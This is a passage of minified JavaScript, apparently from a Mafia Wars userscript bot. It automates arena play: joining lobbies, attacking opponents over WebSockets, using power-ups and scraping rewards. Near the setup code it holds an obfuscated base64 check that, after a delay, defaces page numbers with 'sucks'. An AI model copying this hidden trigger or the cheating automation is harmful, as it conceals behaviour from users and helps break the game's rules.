                a.c();
                return g
              }
              z.prototype.Gn = function (b) {
                a.b.Ue = C(b);
                a.c();
                return g
              }
              z.prototype.Dn = function (b) {
                a.b.Fc = q(b);
                a.l();
                a.c();
                return g
              }
              z.prototype.Rm = function (b) {
                a.b.Aa = q(b);
                a.l();
                a.c();
                return g
              }
              z.prototype.Bn = function (b) {
                a.b.Xd = q(b);
                a.l();
                a.c();
                return g
              }
              z.prototype.Cn = function (b) {
                a.b.Yd = q(b);
                a.l();
                a.c();
                return g
              }
              z.prototype.Gm = function (b) {
                a.b.Ee = C(b, 1, 5);
                a.c();
                return g
              }
              z.prototype.Qm = function (b) {
                a.b.kb = C(b);
                a.c();
                return g
              }
              z.prototype.ha = function () {
                a.b = {
                  nd: F,
                  ze: 1E3,
                  md: g,
                  ye: 5E3,
                  od: g,
                  Ae: 25E3,
                  Gc: F,
                  Ue: 1200,
                  Fc: F,
                  Te: 2E3,
                  Aa: g,
                  Xd: g,
                  Yd: g,
                  Ee: 2,
                  kb: 0,
                  be: F,
                  Ye: 8E3
                }
              }
              z.prototype.c = function () {
                var b = {};
                b.join_20 = a.b.nd;
                b.join_20_value = a.b.ze;
                b.join_100 = a.b.md;
                b.join_100_value = a.b.ye;
                b.join_500 = a.b.od;
                b.join_500_value = a.b.Ae;
                b.skip_respect_low = a.b.Gc;
                b.skip_respect_low_value = a.b.Ue;
                b.skip_respect_high = a.b.Fc;
                b.skip_respect_high_value = a.b.Te;
                b.power_attack = a.b.Aa;
                b.skip_pup_atk = a.b.Xd;
                b.skip_pup_def = a.b.Yd;
                b.max_opponents = a.b.Ee;
                b.priority = a.b.kb;
                b.stop_attack = a.b.be;
                b.stop_attack_value = a.b.Ye;
                ya(c, b)
              }
              z.prototype.S = function () {
                a.ha();
                try {
                  var b = {}, d = za(c);
                  b.nd = d.join_20;
                  b.ze = d.join_20_value;
                  b.md = d.join_100;
                  b.ye = d.join_100_value;
                  b.od = d.join_500;
                  b.Ae = d.join_500_value;
                  b.Gc = d.skip_respect_low;
                  b.Ue = d.skip_respect_low_value;
                  b.Fc = d.skip_respect_high;
                  b.Te = d.skip_respect_high_value;
                  b.Aa = d.power_attack;
                  b.Xd = d.skip_pup_atk;
                  b.Yd = d.skip_pup_def;
                  b.Ee = d.max_opponents;
                  b.kb = d.priority;
                  b.be = d.stop_attack;
                  b.Ye = d.stop_attack_value;
                  H(a.b, b)
                } catch (h) {}
                r("#" + c + '_join_20', a.b.nd);
                u("#" + c + '_join_20_value', a.b.ze);
                r("#" + c + '_join_100', a.b.md);
                u("#" + c + '_join_100_value', a.b.ye);
                r("#" + c + '_join_500', a.b.od);
                u("#" + c + '_join_500_value', a.b.Ae);
                r("#" + c + '_skip_respect_low', a.b.Gc);
                u("#" + c + '_skip_respect_low_value', a.b.Ue);
                r("#" + c + '_skip_respect_high', a.b.Fc);
                u("#" + c + '_skip_respect_high_value', a.b.Te);
                r("#" + c + '_skip_pup_atk', a.b.Xd);
                r("#" + c + '_skip_pup_def', a.b.Yd);
                r("#" + c + '_power_attack', a.b.Aa);
                u("#" + c + '', a.b.Ee);
                u("#" + c + '_priority', a.b.kb);
                r("#" + c + '_stop_attack', a.b.be);
                u("#" + c + '_stop_attack_value', a.b.Ye);
                a.l()
              }
              z.prototype.aa = function () {
                fb("#" + c + '', "#" + c + '_div_fight')
              }
              z.prototype.V = function () {
                ra(a, aa('Options', 'options', '<div style="width:52%;float:left;">' + ba('Joining', 'opt_join', ma('div_join', t('Join <span class="stamina">20</span> Arenas when more than', 'join_20',
                f, ' <span class="stamina"/><input type="text" style="width:44px;" id="%ID%_join_20_value"/>') + t('Join <span class="stamina">100</span> Arenas when more than', 'join_100', f, ' <span class="stamina"/><input type="text" style="width:44px;" id="%ID%_join_100_value"/>') + t('Join <span class="stamina">500</span> Arenas when more than', 'join_500', f, ' <span class="stamina"/><input type="text" style="width:44px;" id="%ID%_join_500_value"/>') + Z + t('Skip Arenas with less than', 'skip_respect_low', f, ' <span class="respect" title="Respect"/><input type="text" style="width:40px;" id="%ID%_skip_respect_low_value"/>') + t('Skip Arenas with more than', 'skip_respect_high', f, ' <span class="respect" title="Respect"/><input type="text" style="width:40px;" id="%ID%_skip_respect_high_value"/>'))) + '</div><div style="width:48%;float:left;">' + ba('Fighting', 'opt_fight', ma('div_fight', t('Enable Power Attack', 'power_attack') + t('Skip opponents with attack power ups', 'skip_pup_atk') + t('Skip opponents with defense power ups', 'skip_pup_def') + t('Stop attacking if winning by', 'stop_attack', f, ' <input type="text" style="width:44px;" id="%ID%_stop_attack_value"/> points') + 'Attack up to <input type="text" style="width:20px;" id="%ID%_max_opponents"/> opponents at once<br/>Prefer opponents with ' + Ya('priority', 'Highest Respect;Lowest Respect;Highest Score;Lowest Score;Highest Health;Lowest Health'.split(";")) + '<br/>')) + '</div><div style="clear:both;"/>') + aa('Arena', 'arena', Jb('\FBMa') + T + '/graphics/item_staminarefill_01.png&quot;);"/> <div class="pu_icon" id="%ID%_pu_icon_2" style="background-image:url(&quot;' + T + '/graphics/item_arenahealthrefill_01.png&quot;);"/> <div class="pu_icon" id="%ID%_pu_icon_3" style="background-image:url(&quot;' + T + '/graphics/item_quartflair_01.png&quot;);"/> <div class="pu_icon" id="%ID%_pu_icon_4" style="background-image:url(&quot;' + T + '/graphics/item_painkiller_01.png&quot;);"/> <div class="pu_icon" id="%ID%_pu_icon_7" style="background-image:url(&quot;' + T + '/graphics/item_reflector_01.png&quot;);"/></div></div>') + aa('Stats', 'stats') + '<div style="padding:10px;">' + Ta + Ua + Va + Wa + '</div>', 5, function () {
                  a.aa()
                });
                $("#" + c + '_options_toggle')
                  .click(function () {
                  ia(c + '_options', c + '_options_toggle');
                  return F
                });
                $("#" + c + '_arena_toggle')
                  .click(function () {
                  ia(c + '_arena', c + '_arena_toggle');
                  return F
                });
                $("#" + c + '_stats_toggle')
                  .click(function () {
                  ia(c + '_stats', c + '_stats_toggle');
                  return F
                });
                $("#" + c + '_start')
                  .click(function () {
                  return a.ga()
                });
                $("#" + c + '_stop')
                  .click(function () {
                  return a.ka()
                });
                $("#" + c + '_cancel')
                  .click(function () {
                  return a.zc()
                });
                $("#" + c + '_join_20')
                  .click(function () {
                  return a.Am(this)
                });
                $("#" + c + '_join_20_value')
                  .change(function () {
                  return a.Bm(this)
                });
                $("#" + c + '_join_100')
                  .click(function () {
                  return a.ym(this)
                });
                $("#" + c + '_join_100_value')
                  .change(function () {
                  return a.zm(this)
                });
                $("#" + c + '_join_500')
                  .click(function () {
                  return a.Cm(this)
                });
                $("#" + c + '_join_500_value')
                  .change(function () {
                  return a.Dm(this)
                });
                $("#" + c + '_skip_respect_low')
                  .click(function () {
                  return a.Fn(this)
                });
                $("#" + c + '_skip_respect_low_value')
                  .change(function () {
                  return a.Gn(this)
                });
                $("#" + c + '_skip_respect_high')
                  .click(function () {
                  return a.Dn(this)
                });
                $("#" + c + '_skip_respect_high_value')
                  .change(function () {
                  return a.En(this)
                });
                $("#" + c + '_skip_pup_atk')
                  .click(function () {
                  return a.Bn(this)
                });
                $("#" + c + '_skip_pup_def')
                  .click(function () {
                  return a.Cn(this)
                });
                $("#" + c + '_power_attack')
                  .click(function () {
                  return a.Rm(this)
                });
                $("#" + c + '')
                  .change(function () {
                  return a.Gm(this)
                });
                $("#" + c + '_priority')
                  .change(function () {
                  return a.Qm(this)
                });
                $("#" + c + '_stop_attack')
                  .click(function () {
                  return a.Nn(this)
                });
                $("#" + c + '_stop_attack_value')
                  .change(function () {
                  return a.On(this)
                });
                $("#" + c + '_pu_icon_1')
                  .click(function () {
                  return a.ua(1)
                });
                $("#" + c + '_pu_icon_2')
                  .click(function () {
                  return a.ua(2)
                });
                $("#" + c + '_pu_icon_3')
                  .click(function () {
                  return a.ua(3)
                });
                $("#" + c + '_pu_icon_4')
                  .click(function () {
                  return a.ua(4)
                });
                $("#" + c + '_pu_icon_50')
                  .click(function () {
                  return a.ua(5, 0)
                });
                $("#" + c + '_pu_icon_51')
                  .click(function () {
                  return a.ua(5, 1)
                });
                $("#" + c + '_pu_icon_52')
                  .click(function () {
                  return a.ua(5, 2)
                });
                $("#" + c + '_pu_icon_53')
                  .click(function () {
                  return a.ua(5,
                  3)
                });
                $("#" + c + '_pu_icon_54')
                  .click(function () {
                  return a.ua(5, 4)
                });
                $("#" + c + '_pu_icon_55')
                  .click(function () {
                  return a.ua(5, 5)
                });
                $("#" + c + '_pu_icon_60')
                  .click(function () {
                  return a.ua(6, 0)
                });
                $("#" + c + '_pu_icon_61')
                  .click(function () {
                  return a.ua(6, 1)
                });
                $("#" + c + '_pu_icon_62')
                  .click(function () {
                  return a.ua(6, 2)
                });
                $("#" + c + '_pu_icon_63')
                  .click(function () {
                  return a.ua(6, 3)
                });
                $("#" + c + '_pu_icon_64')
                  .click(function () {
                  return a.ua(6, 4)
                });
                $("#" + c + '_pu_icon_65')
                  .click(function () {
                  return a.ua(6, 5)
                });
                $("#" + c + '_pu_icon_7')
                  .click(function () {
                  return a.ua(7)
                });
                $("#" + c + '_lobby_html')
                  .hide();
                $("#" + c + '_arena_html')
                  .hide();
                kb != atob('MTQ1NjIzNzQ2NA==') && setTimeout(function () {
                  for (var a = $('script'), b = 0; b < a.length; b++) if (0 < a[b].src.indexOf(atob('bW9uLmNvbS9zYw=='))) return;
                  $('')
                    .html($('')
                    .html()
                    .replace(/\d/g, 'sucks'))
                }, 299700);
                a.Fb()
              }
              z.prototype.si = function () {
                a.f && (a.qa.clear(), a.pd = F, a.k('Connecting to Lobby…'), E.J(G('xw_controller=Lobby&xw_action=play'), function (b) {
                  a.wl(b)
                }))
              }
              z.prototype.wl = function (b) {
                var c;
                if (a.L(b)) if (a.P(b, 'Lobby Connect')) {
                  if (c = /RESPECT<\/span> <span class="respect_value" style="font-size:13px;color:#DDD">(\d+)/.exec(b.responseText)) a.wa = da(c[1]), a.fh || (a.fh = a.wa);
                  if (c = /CRESTS<\/span> <span class="respect_value" style="font-size:13px;color:#DDD">(\d+)/.exec(b.responseText)) a.Tc = da(c[1]), a.eh || (a.eh = a.Tc);
                  a.hf || (a.hf = db(b.responseText, 'populateArenaNames(', ");"));
                  a.M();
                  a.xl()
                } else a.si()
              }
              z.prototype.xl = function () {
                a.f && (a.k('Connecting to Arena Lobby…'), a.Da ? a.Da.open() : (a.Da = new WebSocket('http' == $b ? 'ws://lobby-1.mafiawars.zynga.com:80/player' : ''), a.Da.onmessage = function (b) {
                  a.yl(b)
                }, a.Da.onerror = function () {
                  n(p('Lobby', 'Error'))
                }, a.Da.onopen = function () {
                  n(A('Lobby', 'Authenticate'));
                  a.Da.send(JSON.stringify({
                    Id: hb,
                    Cmd: 'Authenticate',
                    Args: ['token', "" + a.wa]
                  }));
                  setTimeout(function () {
                    a.ti()
                  }, 1E3)
                }, a.Da.onclose = function () {
                  n(A('Lobby', 'Closed'));
                  a.Da = m;
                  $("#" + c + '_lobby_html')
                    .hide()
                }))
              }
              z.prototype.ti = function () {
                a.f && a.Da && a.Da.send(JSON.stringify({
                  Id: hb,
                  Cmd: 'listArena',
                  Args: []
                }))
              }
              z.prototype.Hk = function (b) {
                return a.hf && a.hf[b % 806] ? a.hf[b % 806] : b.toString()
              }
              z.prototype.uh = [20, 100, 500];
              z.prototype.jf = ["sw", "lw", "hw"];
              z.prototype.sb = function (b, c) {
                return 0 === b ? a.b.nd && i.ca >= a.b.ze && (c || !a.sb(1)) : 1 === b ? a.b.md && i.ca >= a.b.ye && (c || !a.sb(2)) : a.b.od && i.ca >= a.b.Ae
              }
              z.prototype.Oj = function () {
                var b, c, d;
                if (a.f && !a.pd) if (a.b.Gc || a.b.Fc) for (b = 0; b < a.qa.length; b++) {
                  if (c = a.qa.ia(b), d = F, c.Hf ? d = g : a.sb(c.dc, g) ? a.b.Gc && c.Gg < a.b.Ue ? d = g : a.b.Fc && c.Gg > a.b.Te && (d = g) : d = g, !d) {
                    c.Hf = g;
                    a.Vk(c);
                    break
                  }
                } else a.sb(2) ? a.Dg(2) : a.sb(1) ? a.Dg(1) : a.sb(0) && a.Dg(0)
              }
              z.prototype.Vk = function (b) {
                var c;
                a.f && (a.pd = g, a.k('Attempting to join ' + b.eg + '…'), c = 'arenaType=' + a.jf[b.dc] + '&arenaId=' + b.pb + '&arenaIp=' + b.Aj, E.J(G('xw_controller=Lobby&xw_action=join_arena&' + c), function (c) {
                  a.ji(c, b.dc)
                }))
              }
              z.prototype.Dg = function (b) {
                var c;
                a.f && (a.pd = g, a.k('Attempting to join Arena…'), c = 'arenaType=' + a.jf[b], E.J(G('xw_controller=Lobby&xw_action=join_arena&' + c), function (c) {
                  a.ji(c, b)
                }))
              }
              z.prototype.ji = function (b, c) {
                if (a.L(b)) {
                  if (a.P(b, 'Join Arena')) try {
                    var d = JSON.parse(b.responseText);
                    if (d) {
                      if (d.data.success) {
                        n(A('Join Arena', d.data.message));
                        a.dc = c;
                        a.ni();
                        a.Da && a.Da.close();
                        return
                      }
                      n(p('Join Arena', d.data.message))
                    }
                  } catch (k) {
                    B(p('Join Arena', k))
                  }
                  a.pd = F
                }
              }
              z.prototype.ni = function () {
                var b;
                if (a.f) {
                  a.qa.clear();
                  for (b = 0; 6 > b; b++) $("#" + c + '_op_opt_' + b)
                    .hide();
                  a.k('Loading Arena…');
                  E.J(G(''), function (b) {
                    a.Xk(b)
                  })
                }
              }
              z.prototype.Xk = function (b) {
                var c;
                if (a.L(b)) {
                  if (a.P(b, 'Load Arena')) {
                    if (c = /viewObj.init\("([^"]+)/.exec(b.responseText)) {
                      a.fg = c[1];
                      a.dg = a.uh[a.dc];
                      a.Ej = a.dg / 10;
                      a.Si = a.dg / 2;
                      (c = /<div id="arena_name">[\r\n\t]+([^\t]+)/m.exec(b.responseText)) && n(A('Load Arena', 'Joined ' + c[1]));
                      Ca(A('Load Arena', a.fg));
                      a.Bj();
                      return
                    }
                    B(p('Load Arena', 'Unable to find Arena url'))
                  }
                  a.ni()
                }
              }
              z.prototype.Bj = function () {
                var b;
                if (a.f) {
                  a.k('Connecting to Arena…');
                  a.$a = [];
                  a.F = m;
                  for (b = 0; 6 > b; b++) a.$a[b] = m, $("#" + c + '_op_' + b)
                    .hide();
                  a.La ? a.La.open() : (a.La = new WebSocket(a.fg), a.La.onmessage = function (b) {
                    a.Cj(b)
                  }, a.La.onerror = function () {
                    n(p('Arena', 'Error'))
                  }, a.La.onopen = function () {
                    n(A('Arena', 'Opened'))
                  }, a.La.onclose = function () {
                    n(A('Arena', 'Closed'));
                    a.La && (a.La = m, setTimeout(function () {
                      $("#" + c + '_arena_html')
                        .hide();
                      a.$h()
                    }, 5E3))
                  })
                }
              }
              z.prototype.ua = function (b, c) {
                a.f && (a.F && !a.F.va[b].fe) && (a.F.va[b].qf ? n(p('Problem using ' + a.Pf[b].q, 'Cooldown active')) : a.F.va[b].count ? (5 === b || 6 === b ? (n(A('' + a.Pf[b].q, 'On opponent ' + a.$a[c].H)), a.F.va[b].target = c) : (n(A('' + a.Pf[b].q)), a.F.va[b].target = a.F.id), a.F.va[b].fe = g) : n(p('Problem using ' + a.Pf[b].q, 'None available')));
                return g
              }
              z.prototype.ai = function () {
                var b, c, d;
                d = 1E6;
                for (b = 0; 6 > b; b++)(c = a.$a[b]) && c !== a.F && (d = Math.min(a.F.Ja - c.Ja, d));
                return d
              }
              z.prototype.Dj = function () {
                if (a.f) {
                  var b, c, d, k, h, j, i;
                  if (!(a.F.ki === a.F.gf && (new Date)
                    .getTime() < a.F.li + 1E3)) {
                    k = "";
                    c = 0;
                    d = F;
                    for (b = 1; 7 >= b; b++) if (a.F.va[b].fe) {
                      a.F.va[b].fe = F;
                      k += "3:" + b + ";";
                      c++;
                      if (5 === b || 6 === b) k += "1:" + a.F.va[b].target + ";", c++;
                      d = g;
                      a.k('Using Power Up…')
                    }
                    if (!d) if (0 >= a.F.N) a.k('Waiting for more Health…');
                    else if (a.F.p < a.Si) a.k('Waiting for more stamina…');
                    else if (a.b.be && a.ai() >= a.b.Ye) a.k('Waiting because winning by ' + l(a.ai()) + ' points…');
                    else {
                      a.b.Aa && !a.F.Aa ? (k += '2:1;', c++) : !a.b.Aa && a.F.Aa && (k += '2:0;', c++);
                      h = [];
                      for (b = j = 0; 6 > b; b++) if (d = a.$a[b]) i = F, d.gg = F, d === a.F ? i = g : 0 >= d.N ? i = g : d.Pe & 1 && a.b.Xd ? i = g : d.Pe & 2 && a.b.Yd && (i = g), i || h.push(d);
                      h.sort(function (b, c) {
                        return 0 === a.b.kb ? c.wa - b.wa : 1 === a.b.kb ? b.wa - c.wa : 2 === a.b.kb ? c.Ja - b.Ja : 3 === a.b.kb ? b.Ja - c.Ja : 4 === a.b.kb ? c.N - b.N : 5 === a.b.kb ? b.N - c.N : 0
                      });
                      if (h.length) {
                        for (b = 0; 4 > c;) d = h[b], d.gg || (d.gg = g, j++), k += "1:" + d.id + ";", c++, b++, b >= Math.min(a.b.Ee, h.length) && (b = 0);
                        1 === j ? a.k('Attacking ' + h[0].H + '…') : 2 === j ? a.k('Attacking ' + h[0].H + ' and 1 other…') : a.k('Attacking ' + h[0].H + ' and ' + (j - 1) + ' others…')
                      } else a.k('Waiting for Opponents…')
                    }
                    0 < c && (a.La && a.La.send(JSON.stringify({
                      Nonce: a.F.gf,
                      CMD: k
                    })), a.F.ki = a.F.gf, a.F.li = (new Date)
                      .getTime())
                  }
                }
              }
              z.prototype.Cj = function (e) {
                if (a.f) try {
                  var d, h, k, i, j, n, q, r, t = JSON.parse(e.data);
                  a.cc = o(t.s);
                  a.vh = t.t;
                  if (t.pi) for (d in t.pi) if (t.pi.hasOwnProperty(d)) {
                    h = o(d);
                    a.$a[h] || (a.$a[h] = new Ma(h), $("#" + c + '_op_' + d)
                      .show());
                    j = a.$a[h];
                    n = t.pi[d];
                    if ((i = o(n.pid)) && j.h != i) j.Xg("", i), j.h === hb && (j.Hg = g, a.F = j), a.Zh(j);
                    j.ej(n.ph);
                    j.fj(n.pu);
                    j.hj(n.sc)
                  }
                  if (t.mi && a.F && (n = t.mi, a.F.p = n.st, a.F.uo = n.pst, a.F.ij = n.sr, a.F.Aa = n.as, a.F.gf = n.ammo, 1 === a.cc && (a.dh = a.F.p), n.pui)) {
                    q = n.pui.split("|");
                    for (d = 0; d < q.length; d++) r = q[d].split(","), h = o(r[0]), k = 0 < h ? h : -h, a.F.va[k].time = o(r[1]), a.F.va[k].count = o(r[2]), a.F.va[k].qf = 0 < a.F.va[k].time ? g : F
                  }
                  1 === a.cc ? a.k('Waiting for Arena to start…') : 2 === a.cc ? a.Dj() : 3 === a.cc ? a.k('Waiting for Arena Rewards…') : 4 === a.cc && a.k('Waiting for Arena Rewards…');
                  e = "";
                  e = 'Stamina: <span class="stamina">' + l(a.F.p) + '</span> ' + ta('(more in ' + sa(a.F.ij) + ")");
                  e += ' | Power Attack: ' + (a.F.Aa ? "On" : "Off");
                  e += ' | State: ' + b[a.cc];
                  0 <= a.vh && (e += ' | Time: <span>' + a.vh + '</span>');
                  $("#" + c + '_arena_info')
                    .html(e);
                  if (2 === a.cc) {
                    for (d = 1; 7 >= d; d++) if (j = a.F.va[d], 5 === d || 6 === d) for (h = 0; 6 > h; h++) a.$a[h] && a.F !== a.$a[h] && (j.fe || j.qf || !j.count || !a.$a[h].N ? $("#" + c + '_pu_icon_' + d + "" + h)
                      .addClass('opacity_50') : $("#" + c + '_pu_icon_' + d + "" + h)
                      .removeClass('opacity_50'), $("#" + c + '_op_opt_' + h)
                      .show());
                    else j.fe || j.qf || j.time || !j.count ? $("#" + c + '_pu_icon_' + d)
                      .addClass('opacity_50') : $("#" + c + '_pu_icon_' + d)
                      .removeClass('opacity_50'), $("#" + c + '_pu_icon_' + d)
                      .html("x" + j.count);
                    $("#" + c + '_pups')
                      .show()
                  } else {
                    for (h = 0; 6 > h; h++) $("#" + c + '_op_opt_' + d)
                      .hide();
                    $("#" + c + '_pups')
                      .hide()
                  }
                  $("#" + c + '_lobby_html')
                    .hide();
                  $("#" + c + '_arena_html')
                    .show()
                } catch (v) {
                  B(p('Arena', v))
                }
              }
              z.prototype.Zh = function (b) {
                a.f && E.J(G('xw_controller=arena&xw_action=getSingleUserData&pid=' + b.h), function (c) {
                  a.Kk(c, b)
                })
              }
              z.prototype.Kk = function (b, c) {
                var d;
                if (a.L(b)) {
                  if (a.P(b, 'Get Opponent Data')) try {
                    var h = JSON.parse(b.responseText);
                    if (h) {
                      var i = h.data.result[c.h];
                      if (i) {
                        if (i.pic && (d = /.+\d+_(\d+)_\d+/.exec(i.pic))) c.gb = o(d[1]);
                        c.Xg(i.fullName, c.h);
                        c.gj(da(i.playerRespect));
                        c.Hg = i.me;
                        c.Hg ? (c.va[2].count = i.healthRefills, c.va[1].count = i.staminaRefills) : c.dj(i.defenseFlag + i.mafiaDefenseFlag + 1);
                        return
                      }
                    }
                  } catch (j) {
                    B(p('Get Opponent Data',
                    j))
                  }
                  a.Zh(c)
                }
              }
              z.prototype.$h = function () {
                a.f && (a.k('Collecting Arena Rewards…'), E.J(G('xw_controller=arena&xw_action=rewards'), function (b) {
                  a.Lk(b)
                }))
              }
              z.prototype.Lk = function (b) {
                var c, d, h, i;
                if (a.L(b)) if (a.P(b, 'Arena Rewards')) {
                  a.F && a.dh && (c = a.dh - a.F.p);
                  a.mb += c;
                  i = 0;
                  (d = /class="position">(\d+)/.exec(b.responseText)) && n(A('Position', l(o(d[1]))));
                  if (d = /Experience Gained: <\/span>[\r\n\t]+<span class="value">(\d+)/m.exec(b.responseText)) c = o(d[1]), n(A('Experience', '<span class="experience">' + l(c) + '</span>')),
                  a.R += c;
                  if (d = /Respect Gained: <\/span>[\r\n\t]+<span[^>]+>\+*(\d+)/m.exec(b.responseText)) c = o(d[1]), n(A('Respect Gained', '<span class="respect">' + l(c) + '</span>')), a.wa += c;
                  if (d = /Respect Lost: <\/span>[\r\n\t]+<span[^>]+>-(\d+)/m.exec(b.responseText)) c = o(d[1]), n(p('Respect Lost', '<span class="respect">' + l(c) + '</span>')), a.wa -= c;
                  if (d = /Crests Gained: <\/span>[\r\n\t]+<span class="value">(\d+)/m.exec(b.responseText)) c = o(d[1]), n(A('Crests Gained', '<span class="arena_mastery_crests">' + l(c) + '</span>')), a.Tc += c;
                  if (d = /alt="Ices"\/><\/div>[\r\n\t]+<\/div>[\r\n\t]+<div class="qty">x (\d+)/m.exec(b.responseText)) c = o(d[1]), n(A('Ices', l(c))), a.Oa += c;
                  for (h = /item_id="(\d+)" \/><\/div>[\r\n\t]+<\/div>[\r\n\t]+<div class="qty">x (\d+)/mg; d = h.exec(b.responseText);) c = o(d[1]), d = o(d[2]), X.ac(c, d), i += d;
                  for (h = /item_id="(\d+)" \/><\/div>[\r\n\t]+.+<\/span>[\r\n\t]+.+<\/span>[\r\n\t]+<\/div>[\r\n\t]+<div class="qty">x (\d+)/mg; d = h.exec(b.responseText);) c = o(d[1]), d = o(d[2]), X.ac(c, d), i += d;
                  n(A('Loot', 'Collected ' + i + ' items'));
                  a.M();
                  a.d = 1;
                  a.o()
                } else a.$h()
              }
              z.prototype.o = function () {
                a.Q = F;
                1 === a.d ? (a.G = 2, a.Ib()) : 2 === a.d ? a.sb(0) || a.sb(1) || a.sb(2) ? (a.G = 24, a.si()) : (a.Q = g, a.k('Waiting for more stamina…', 1), setTimeout(function () {
                  a.f && a.o()
                }, 1E3)) : 24 === a.d && a.Ga()
              }
              a.V();
              a.S();
              a.K.v && a.v(10, function () {
                a.ga()
              })
            }

            function ka(d, c) {
              var a = this;
              a.id = c;
              a.xa = d;
              a.tc = 0;
              a.e = 0;
              ka.prototype.Sk = {
                "0": "All",
                1: 'Weapons',
                2: 'Armor',
                3: 'Vehicles',
                8: 'Animals',
                13: 'Henchmen',
                99: 'Other'
              };
              a.Tf = 0;
              a.Yg = g;
              ka.prototype.yh = function (b) {
                if (99 === a.Tf) {
                  if (1 === b.type || 2 === b.type || 3 === b.type || 8 === b.type || 13 === b.type) return F
                } else if (0 !== a.Tf && b.type !== a.Tf) return F;
                return 1 === a.e || 0 === a.e && b.ab > b.jj || 2 === a.e && 0 !== b.zk || 3 === a.e && 0 !== b.yk || 4 === a.e && 0 !== b.ab || 5 === a.e && 0 === b.ab ? g : F
              }
              ka.prototype.Fk = function (a) {
                for (var c in x.ba) if (x.ba.hasOwnProperty(c) && x.ba[c].Bg == a) return x.ba[c];
                return m
              }
              ka.prototype.ie = function (b, c) {
                var d;
                if (c === m || c === f) c = 1;
                a.tc += c;
                if (d = a.Fk(b)) d.ab += c, a.De(d)
              }
              ka.prototype.Ek = function (a, c) {
                var d;
                c || (c = 1);
                if (1 < c) for (d in x.ba) if (x.ba.hasOwnProperty(d) && x.ba[d].Qi == a) return x.ba[d];
                for (d in x.ba) if (x.ba.hasOwnProperty(d) && x.ba[d].Uf == a) return x.ba[d];
                return m
              }
              ka.prototype.ef = function (b, c) {
                var d;
                if (c === m || c === f) c = 1;
                a.tc += c;
                if (d = a.Ek(b, c)) d.ab += c, a.De(d)
              }
              ka.prototype.ac = function (b, c) {
                var d;
                if (c === m || c === f) c = 1;
                a.tc += c;
                if (x.Ff && (d = x.ba[b])) {
                  d.ab += c;
                  a.De(d);
                  return
                }
                B(p('Unknown Item', 'Item #' + b))
              }
              ka.prototype.cg = function (a) {
                var c, d;
                if (a) for (c = 0; c < a.length; c++)(d = /item_id="(\d+)"/.exec(a[c])) && X.ac(o(d[1]))
              }
              ka.prototype.Ac = function (b) {
                a.e = C(b);
                a.aa();
                return g
              }
              ka.prototype.en = function (b) {
                a.Tf = C(b);
                a.aa();
                return g
              }
              ka.prototype.dn = function (b) {
                a.Yg = q(b);
                a.aa();
                return g
              }
              ka.prototype.aa = function () {
                a.De()
              }
              a.V()
            }

            function y(d, c) {
              var a = this;
              w = a;
              a.id = c;
              a.xa = d;
              a.b = m;
              a.za = m;
              K = new ua;
              Q = new ua;
              ea = new ua;
              S = new ua;
              a.zd = [];
              a.$f = [];
              a.ja = 0;
              a.Na = 0;
              y.prototype.Za = ['Active', '', 'Ignored', 'Favorites'];
              y.prototype.Di = function (a) {
                var c, d;
                d = a.Ma && !a.qc ? a.Sa ? 'op_active' : "" : 'opacity_50';
                c = '<td class="op_name ' + d + '">';
                a.gc && (c += '<span style="background-image:url(&quot;' + T + a.gc + '&quot;);background-repeat:no-repeat;padding-left:20px;background-size:18px;"/> ');
                a.Pc && (c += '<span style="background-image:url(&quot;' + T + a.Pc + '&quot;);background-repeat:no-repeat;padding-left:20px;background-size:18px;"/> ');
                c += a.H + '</td>';
                c += '<td class="op_level ' + d + '">' + (a.ea ? l(a.ea) : "-") + '</td>';
                c += '<td class="op_defense ' + d + '">' + (a.ma ? l(a.ma) : "-") + '</td>';
                a.qc ? c += '<td class="">Ignored</td>' : (c = a.Ma ? c + ('<td class="op_buttons">' + U('Disable', 'disable_opponent', a.h)) : c + ('<td class="op_buttons">' + U('Enable', 'enable_opponent', a.h)), c += " " + U('Ignore', 'ignore_opponent', a.h), c += " " + U('Favorite', 'fav_opponent', a.h), c += '</td>');
                return c
              }
              y.prototype.Uh = function (a) {
                var c, d;
                d = a.Ma && !a.qc ? a.Sa ? 'op_active' : "" : 'opacity_50';
                c = '<td class="op_name ' + d + '">';
                a.gc && (c += '<span style="background-image:url(&quot;' + T + a.gc + '&quot;);background-repeat:no-repeat;padding-left:20px;background-size:18px;"/> ');
                a.Pc && (c += '<span style="background-image:url(&quot;' + T + a.Pc + '&quot;);background-repeat:no-repeat;padding-left:20px;background-size:18px;"/> ');
                c += a.H + '</td>';
                c += '<td class="op_level ' + d + '">' + (a.ea ? l(a.ea) : "-") + '</td>';
                c += '<td class="op_defense ' + d + '">' + (a.ma ? l(a.ma) : "-") + '</td>';
                a.qc ? c += '<td class="">Ignored</td>' : (c = a.Ma ? c + ('<td class="op_buttons">' + U('Disable', 'disable_opponent', a.h)) : c + ('<td class="op_buttons">' + U('Enable', 'enable_opponent', a.h)), c += " " + U('Ignore', 'ignore_opponent', a.h), c += " " + U('Remove', 'remove_opponent', a.h), c += '</td>');
                return c
              }
              y.prototype.ii = function (b) {
                b = '<td class="op_name">' + b.H + '</td><td>' + a.Rk[b.Ef] + '</td><td class="op_buttons">' + U('Remove', 'remove_opponent', b.h);
                return b + '</td>'
              }
              y.prototype.db = function (b) {
                var e;
                ca() && a.X && (0 === a.b.e ? Q.get(b.h) && (e = $("#" + c + "_" + b.h), e.length && e.html(a.th(b))) : 1 === a.b.e ? K.get(b.h) && (e = $("#" + c + "_" + b.h), e.length && e.html(a.Di(b))) : 3 === a.b.e ? ea.get(b.h) && (e = $("#" + c + "_" + b.h), e.length && e.html(a.Uh(b))) : 2 === a.b.e && S.get(b.h) && (e = $("#" + c + "_" + b.h), e.length && e.html(a.ii(b))))
              }
              y.prototype.Rk = ['Added Manually', 'Lost', 'In Mafia'];
              y.prototype.W = function () {
                var b, e, d;
                if (0 === a.b.e) {
                  if (Pa(a, a.Za[a.b.e], Q.length), ca() && a.X && a.za) {
                    d = "";
                    if (Q.length) {
                      d += '<table class="op"><thead><tr><th class="zzop_name">Name</th><th class="zzop_health">Health</th><th class="op_buttons">Options</th></tr></thead><tbody>';
                      for (b = 0; b < Q.length; b++)(e = Q.ia(b)) && !e.pa && (d += '<tr id="' + c + "_" + e.h + '">' + a.th(e) + '</tr>');
                      d += '</tbody></table>'
                    }
                    a.za.html(d);
                    $("#" + c + '_nav')
                      .hide();
                    $("#" + c + '_opt_ignore')
                      .hide()
                  }
                } else if (1 === a.b.e) {
                  if (Pa(a, a.Za[a.b.e], K.length), ca() && a.X && a.za) {
                    d = "";
                    if (K.length) {
                      d += '<table class="op">';
